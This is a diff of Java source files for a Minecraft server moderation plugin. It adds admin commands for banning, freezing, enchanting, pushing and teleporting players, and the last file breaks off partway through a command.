|
||||
import org.bukkit.GameMode;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.bukkit.util.Vector;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SENIOR_ADMIN, source = SourceType.ONLY_CONSOLE, blockHostConsole = true)
|
||||
@CommandParameters(description = "For the bad Superadmins", usage = "/<command> <playername>")
|
||||
public class Command_doom extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(final CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Casting oblivion over " + player.getName(), true);
|
||||
FUtil.bcastMsg(player.getName() + " will be completely obliviated!", ChatColor.RED);
|
||||
|
||||
final String ip = player.getAddress().getAddress().getHostAddress().trim();
|
||||
|
||||
// Remove from superadmin
|
||||
Admin admin = getAdmin(player);
|
||||
if (admin != null)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Removing " + player.getName() + " from the superadmin list", true);
|
||||
plugin.al.removeAdmin(admin);
|
||||
}
|
||||
|
||||
// Remove from whitelist
|
||||
player.setWhitelisted(false);
|
||||
|
||||
// Deop
|
||||
player.setOp(false);
|
||||
|
||||
// Ban player
|
||||
Ban ban = Ban.forPlayer(player, sender);
|
||||
ban.setReason("&cFUCKOFF");
|
||||
for (String playerIp : plugin.pl.getData(player).getIps())
|
||||
{
|
||||
ban.addIp(playerIp);
|
||||
}
|
||||
plugin.bm.addBan(ban);
|
||||
|
||||
// Set gamemode to survival
|
||||
player.setGameMode(GameMode.SURVIVAL);
|
||||
|
||||
// Clear inventory
|
||||
player.closeInventory();
|
||||
player.getInventory().clear();
|
||||
|
||||
// Ignite player
|
||||
player.setFireTicks(10000);
|
||||
|
||||
// Generate explosion
|
||||
player.getWorld().createExplosion(player.getLocation(), 4F);
|
||||
|
||||
// Shoot the player in the sky
|
||||
player.setVelocity(player.getVelocity().clone().add(new Vector(0, 20, 0)));
|
||||
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
// strike lightning
|
||||
player.getWorld().strikeLightning(player.getLocation());
|
||||
|
||||
// kill (if not done already)
|
||||
player.setHealth(0.0);
|
||||
}
|
||||
}.runTaskLater(plugin, 2L * 20L);
|
||||
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
// message
|
||||
FUtil.adminAction(sender.getName(), "Banning " + player.getName() + ", IP: " + ip, true);
|
||||
|
||||
// generate explosion
|
||||
player.getWorld().createExplosion(player.getLocation(), 4F);
|
||||
|
||||
// kick player
|
||||
player.kickPlayer(ChatColor.RED + "FUCKOFF, and get your shit together!");
|
||||
}
|
||||
}.runTaskLater(plugin, 3L * 20L);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,96 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.enchantments.Enchantment;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Enchant items.", usage = "/<command> <list | addall | reset | add <name> | remove <name>>")
|
||||
public class Command_enchant extends FreedomCommand {
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
|
||||
if (args.length < 1) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ItemStack itemInHand = sender_p.getItemInHand();
|
||||
|
||||
if (itemInHand == null) {
|
||||
playerMsg("You are holding an invalid item.");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("list")) {
|
||||
boolean has_enchantments = false;
|
||||
|
||||
StringBuilder possible_ench = new StringBuilder("Possible enchantments for held item: ");
|
||||
for (Enchantment ench : Enchantment.values()) {
|
||||
if (ench.canEnchantItem(itemInHand)) {
|
||||
has_enchantments = true;
|
||||
possible_ench.append(ench.getName()).append(", ");
|
||||
}
|
||||
}
|
||||
|
||||
if (has_enchantments) {
|
||||
playerMsg(possible_ench.toString());
|
||||
} else {
|
||||
playerMsg("The held item has no enchantments.");
|
||||
}
|
||||
} else if (args[0].equalsIgnoreCase("addall")) {
|
||||
for (Enchantment ench : Enchantment.values()) {
|
||||
try {
|
||||
if (ench.canEnchantItem(itemInHand)) {
|
||||
itemInHand.addEnchantment(ench, ench.getMaxLevel());
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
FLog.info("Error using " + ench.getName() + " on " + itemInHand.getType().name() + " held by " + sender_p.getName() + ".");
|
||||
}
|
||||
}
|
||||
|
||||
playerMsg("Added all possible enchantments for this item.");
|
||||
} else if (args[0].equalsIgnoreCase("reset")) {
|
||||
for (Enchantment ench : itemInHand.getEnchantments().keySet()) {
|
||||
itemInHand.removeEnchantment(ench);
|
||||
}
|
||||
|
||||
playerMsg("Removed all enchantments.");
|
||||
} else {
|
||||
if (args.length < 2) {
|
||||
return false;
|
||||
}
|
||||
|
||||
Enchantment ench = null;
|
||||
|
||||
try {
|
||||
ench = Enchantment.getByName(args[1]);
|
||||
} catch (Exception ex) {
|
||||
}
|
||||
|
||||
if (ench == null) {
|
||||
playerMsg(args[1] + " is an invalid enchantment for the held item. Type \"/enchant list\" for valid enchantments for this item.");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("add")) {
|
||||
if (ench.canEnchantItem(itemInHand)) {
|
||||
itemInHand.addEnchantment(ench, ench.getMaxLevel());
|
||||
|
||||
playerMsg("Added enchantment: " + ench.getName());
|
||||
} else {
|
||||
playerMsg("Can't use this enchantment on held item.");
|
||||
}
|
||||
} else if (args[0].equals("remove")) {
|
||||
itemInHand.removeEnchantment(ench);
|
||||
|
||||
playerMsg("Removed enchantment: " + ench.getName());
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,19 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Goto the ender / \"The End\".", usage = "/<command>")
|
||||
public class Command_ender extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
FUtil.gotoWorld(sender_p, server.getWorlds().get(0).getName() + "_the_end");
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,89 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.util.Vector;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Push people away from you.", usage = "/<command> [radius] [strength]")
|
||||
public class Command_expel extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
double radius = 20.0;
|
||||
double strength = 5.0;
|
||||
|
||||
if (args.length >= 1)
|
||||
{
|
||||
try
|
||||
{
|
||||
radius = Math.max(1.0, Math.min(100.0, Double.parseDouble(args[0])));
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
if (args.length >= 2)
|
||||
{
|
||||
try
|
||||
{
|
||||
strength = Math.max(0.0, Math.min(50.0, Double.parseDouble(args[1])));
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
List<String> pushedPlayers = new ArrayList<String>();
|
||||
|
||||
final Vector senderPos = sender_p.getLocation().toVector();
|
||||
final List<Player> players = sender_p.getWorld().getPlayers();
|
||||
for (final Player player : players)
|
||||
{
|
||||
if (player.equals(sender_p))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
final Location targetPos = player.getLocation();
|
||||
final Vector targetPosVec = targetPos.toVector();
|
||||
|
||||
boolean inRange = false;
|
||||
try
|
||||
{
|
||||
inRange = targetPosVec.distanceSquared(senderPos) < (radius * radius);
|
||||
}
|
||||
catch (IllegalArgumentException ex)
|
||||
{
|
||||
}
|
||||
|
||||
if (inRange)
|
||||
{
|
||||
player.getWorld().createExplosion(targetPos, 0.0f, false);
|
||||
FUtil.setFlying(player, false);
|
||||
player.setVelocity(targetPosVec.subtract(senderPos).normalize().multiply(strength));
|
||||
pushedPlayers.add(player.getName());
|
||||
}
|
||||
}
|
||||
|
||||
if (pushedPlayers.isEmpty())
|
||||
{
|
||||
playerMsg("No players pushed.");
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Pushed " + pushedPlayers.size() + " players: " + StringUtils.join(pushedPlayers, ", "));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Shows all IPs registered to a player", usage = "/<command> <player>")
|
||||
public class Command_findip extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
|
||||
playerMsg(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
playerMsg("Player IPs: " + StringUtils.join(plugin.pl.getData(player).getIps(), ", "));
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,26 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Goto the flatlands.", usage = "/<command>")
|
||||
public class Command_flatlands extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (ConfigEntry.FLATLANDS_GENERATE.getBoolean())
|
||||
{
|
||||
plugin.wm.flatlands.sendToWorld(sender_p);
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Flatlands is currently disabled.");
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,67 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import me.totalfreedom.totalfreedommod.freeze.FreezeData;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Freeze players (toggles on and off).", usage = "/<command> [target | purge]")
|
||||
public class Command_fr extends FreedomCommand
|
||||
{
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 0)
|
||||
{
|
||||
boolean allFrozen = plugin.fm.isGlobalFreeze();
|
||||
plugin.fm.setGlobalFreeze(!allFrozen);
|
||||
|
||||
if (!allFrozen)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Disabling global player freeze", true);
|
||||
playerMsg("Players are now free to move.");
|
||||
return true;
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Disabling global player freeze", true);
|
||||
playerMsg("Players are now unfrozen.");
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
if (!isAdmin(player))
|
||||
{
|
||||
playerMsg(player, "You have been frozen due to rulebreakers, you will be unfrozen soon.", ChatColor.RED);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equals("purge"))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Unfreezing all players", false);
|
||||
plugin.fm.purge();
|
||||
return true;
|
||||
}
|
||||
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
playerMsg(FreedomCommand.PLAYER_NOT_FOUND, ChatColor.RED);
|
||||
return true;
|
||||
}
|
||||
|
||||
final FreezeData fd = plugin.pl.getPlayer(player).getFreezeData();
|
||||
fd.setFrozen(!fd.isFrozen());
|
||||
|
||||
playerMsg(player.getName() + " has been " + (fd.isFrozen() ? "frozen" : "unfrozen") + ".");
|
||||
playerMsg(player, "You have been " + (fd.isFrozen() ? "frozen" : "unfrozen") + ".", ChatColor.AQUA);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,50 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SENIOR_ADMIN, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "You'll never even see it coming.", usage = "/<command>")
|
||||
public class Command_fuckoff extends FreedomCommand
|
||||
{
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length < 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
FPlayer player = plugin.pl.getPlayer(sender_p);
|
||||
|
||||
if (!args[0].equals("on"))
|
||||
{
|
||||
player.disableFuckoff();
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
double radius = 25.0;
|
||||
if (args.length >= 2)
|
||||
{
|
||||
try
|
||||
{
|
||||
radius = Math.max(5.0, Math.min(50, Double.parseDouble(args[1])));
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
player.setFuckoff(radius);
|
||||
}
|
||||
|
||||
playerMsg("Fuckoff " + (player.isFuckOff() ? ("enabled. Radius: " + player.getFuckoffRadius() + ".") : "disabled."));
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,207 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Iterator;
|
||||
import java.util.UUID;
|
||||
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||
import me.totalfreedom.totalfreedommod.freeze.FreezeData;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||
@CommandParameters(
|
||||
description = "Use admin commands on someone by hash. Use mode 'list' to get a player's hash. Other modes are kick, nameban, ipban, ban, op, deop, ci, fr, smite.",
|
||||
usage = "/<command> [list | [<kick | nameban | ipban | ban | op | deop | ci | fr | smite> <targethash>] ]")
|
||||
public class Command_gadmin extends FreedomCommand
|
||||
{
|
||||
private enum GadminMode
|
||||
{
|
||||
LIST("list"),
|
||||
KICK("kick"),
|
||||
NAMEBAN("nameban"),
|
||||
IPBAN("ipban"),
|
||||
BAN("ban"),
|
||||
OP("op"),
|
||||
DEOP("deop"),
|
||||
CI("ci"),
|
||||
FR("fr"),
|
||||
SMITE("smite");
|
||||
private final String modeName;
|
||||
|
||||
private GadminMode(String command)
|
||||
{
|
||||
this.modeName = command;
|
||||
}
|
||||
|
||||
public String getModeName()
|
||||
{
|
||||
return modeName;
|
||||
}
|
||||
|
||||
public static GadminMode findMode(String needle)
|
||||
{
|
||||
for (final GadminMode mode : GadminMode.values())
|
||||
{
|
||||
if (needle.equalsIgnoreCase(mode.getModeName()))
|
||||
{
|
||||
return mode;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public String getPlayerHash(Player player)
|
||||
{
|
||||
return UUID.nameUUIDFromBytes(player.getName().toLowerCase().getBytes(StandardCharsets.UTF_8)).toString().substring(0, 4);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
final GadminMode mode = GadminMode.findMode(args[0].toLowerCase());
|
||||
if (mode == null)
|
||||
{
|
||||
playerMsg("Invalid mode: " + args[0], ChatColor.RED);
|
||||
return true;
|
||||
}
|
||||
|
||||
final Iterator<? extends Player> it = server.getOnlinePlayers().iterator();
|
||||
|
||||
if (mode == GadminMode.LIST)
|
||||
{
|
||||
playerMsg("[ Real Name ] : [ Display Name ] - Hash:");
|
||||
while (it.hasNext())
|
||||
{
|
||||
final Player player = it.next();
|
||||
sender.sendMessage(ChatColor.GRAY + String.format("[ %s ] : [ %s ] - %s",
|
||||
player.getName(),
|
||||
ChatColor.stripColor(player.getDisplayName()),
|
||||
getPlayerHash(player)));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args.length < 2)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
Player target = null;
|
||||
while (it.hasNext() && target == null)
|
||||
{
|
||||
final Player player = it.next();
|
||||
final String hash = getPlayerHash(player);
|
||||
|
||||
if (hash.equalsIgnoreCase(args[1]))
|
||||
{
|
||||
target = player;
|
||||
}
|
||||
}
|
||||
|
||||
if (target == null)
|
||||
{
|
||||
playerMsg("Invalid player hash: " + args[1], ChatColor.RED);
|
||||
return true;
|
||||
}
|
||||
|
||||
switch (mode)
|
||||
{
|
||||
case KICK:
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), String.format("Kicking: %s.", target.getName()), false);
|
||||
target.kickPlayer("Kicked by Administrator");
|
||||
|
||||
break;
|
||||
}
|
||||
case NAMEBAN:
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), String.format("Banning Name: %s.", target.getName()), true);
|
||||
plugin.bm.addBan(Ban.forPlayerName(target, sender, null, null));
|
||||
target.kickPlayer("Username banned by Administrator.");
|
||||
|
||||
break;
|
||||
}
|
||||
case IPBAN:
|
||||
{
|
||||
String ip = target.getAddress().getAddress().getHostAddress();
|
||||
String[] ip_parts = ip.split("\\.");
|
||||
if (ip_parts.length == 4)
|
||||
{
|
||||
ip = String.format("%s.%s.*.*", ip_parts[0], ip_parts[1]);
|
||||
}
|
||||
FUtil.adminAction(sender.getName(), String.format("Banning IP: %s.", ip), true);
|
||||
plugin.bm.addBan(Ban.forPlayerIp(ip, sender, null, null));
|
||||
|
||||
target.kickPlayer("IP address banned by Administrator.");
|
||||
|
||||
break;
|
||||
}
|
||||
case BAN:
|
||||
{
|
||||
String ip = target.getAddress().getAddress().getHostAddress();
|
||||
String[] ip_parts = ip.split("\\.");
|
||||
if (ip_parts.length == 4)
|
||||
{
|
||||
ip = String.format("%s.%s.*.*", ip_parts[0], ip_parts[1]);
|
||||
}
|
||||
FUtil.adminAction(sender.getName(), String.format("Banning Name: %s, IP: %s.", target.getName(), ip), true);
|
||||
|
||||
plugin.bm.addBan(Ban.forPlayer(target, sender));
|
||||
|
||||
target.kickPlayer("IP and username banned by Administrator.");
|
||||
|
||||
break;
|
||||
}
|
||||
case OP:
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), String.format("Opping %s.", target.getName()), false);
|
||||
target.setOp(false);
|
||||
target.sendMessage(FreedomCommand.YOU_ARE_OP);
|
||||
|
||||
break;
|
||||
}
|
||||
case DEOP:
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), String.format("Deopping %s.", target.getName()), false);
|
||||
target.setOp(false);
|
||||
target.sendMessage(FreedomCommand.YOU_ARE_NOT_OP);
|
||||
|
||||
break;
|
||||
}
|
||||
case CI:
|
||||
{
|
||||
target.getInventory().clear();
|
||||
|
||||
break;
|
||||
}
|
||||
case FR:
|
||||
{
|
||||
FreezeData fd = plugin.pl.getPlayer(target).getFreezeData();
|
||||
fd.setFrozen(!fd.isFrozen());
|
||||
|
||||
playerMsg(target.getName() + " has been " + (fd.isFrozen() ? "frozen" : "unfrozen") + ".");
|
||||
target.sendMessage(ChatColor.AQUA + "You have been " + (fd.isFrozen() ? "frozen" : "unfrozen") + ".");
|
||||
|
||||
break;
|
||||
}
|
||||
case SMITE:
|
||||
{
|
||||
Command_smite.smite(target);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,55 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||
@CommandParameters(description = "Send a command as someone else.", usage = "/<command> <fromname> <outcommand>")
|
||||
public class Command_gcmd extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length < 2)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
final String outCommand = StringUtils.join(args, " ", 1, args.length);
|
||||
|
||||
if (plugin.cb.isCommandBlocked(outCommand, sender))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
playerMsg("Sending command as " + player.getName() + ": " + outCommand);
|
||||
if (server.dispatchCommand(player, outCommand))
|
||||
{
|
||||
playerMsg("Command sent.");
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Unknown error sending command.");
|
||||
}
|
||||
}
|
||||
catch (Throwable ex)
|
||||
{
|
||||
playerMsg("Error sending command: " + ex.getMessage());
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,118 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.player.PlayerData;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||
@CommandParameters(description = "Bans or unbans any player, even those who are not logged in anymore.", usage = "/<command> <purge | <ban | unban> <username>>")
|
||||
public class Command_glist extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length < 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args.length == 1)
|
||||
{
|
||||
if (args[0].equalsIgnoreCase("purge"))
|
||||
{
|
||||
if (getAdmin(sender).getRank() == PlayerRank.SENIOR_ADMIN)
|
||||
{
|
||||
plugin.pl.purgeAllData();
|
||||
playerMsg("Purged playerbase.");
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Only Senior Admins may purge the userlist.");
|
||||
}
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else if (args.length == 2)
|
||||
{
|
||||
String username;
|
||||
final List<String> ips = new ArrayList<String>();
|
||||
|
||||
final Player player = getPlayer(args[1]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
final PlayerData entry = plugin.pl.getData(args[1]);
|
||||
|
||||
if (entry == null)
|
||||
{
|
||||
playerMsg("Can't find that user. If target is not logged in, make sure that you spelled the name exactly.");
|
||||
return true;
|
||||
}
|
||||
|
||||
username = entry.getUsername();
|
||||
ips.addAll(entry.getIps());
|
||||
}
|
||||
else
|
||||
{
|
||||
username = player.getName();
|
||||
final PlayerData entry = plugin.pl.getData(player);
|
||||
ips.addAll(entry.getIps());
|
||||
}
|
||||
|
||||
String mode = args[0].toLowerCase();
|
||||
if (mode.equalsIgnoreCase("ban"))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Banning " + username + " and IPs: " + StringUtils.join(ips, ", "), true);
|
||||
|
||||
final Player target = getPlayer(username, true);
|
||||
if (target != null)
|
||||
{
|
||||
target.kickPlayer("You have been banned by " + sender.getName() + "\n If you think you have been banned wrongly, appeal here: " + ConfigEntry.SERVER_BAN_URL.getString());
|
||||
}
|
||||
|
||||
Ban ban = Ban.forPlayerFuzzy(player, sender, null, null);
|
||||
for (String ip : ips)
|
||||
{
|
||||
ban.addIp(ip);
|
||||
ban.addIp(FUtil.getFuzzyIp(ip));
|
||||
}
|
||||
plugin.bm.addBan(ban);
|
||||
}
|
||||
else if (mode.equalsIgnoreCase("unban"))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Unbanning " + username + " and IPs: " + StringUtils.join(ips, ", "), true);
|
||||
plugin.bm.removeBan(plugin.bm.getByUsername(username));
|
||||
for (String ip : ips)
|
||||
{
|
||||
Ban ban = plugin.bm.getByIp(ip);
|
||||
if (ban != null)
|
||||
{
|
||||
plugin.bm.removeBan(ban);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,99 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.util.Ips;
|
||||
import org.apache.commons.lang3.ArrayUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.GameMode;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||
@CommandParameters(description = "Makes someone GTFO (deop and ip ban by username).", usage = "/<command> <partialname>")
|
||||
public class Command_gtfo extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 0)
|
||||
{
|
||||
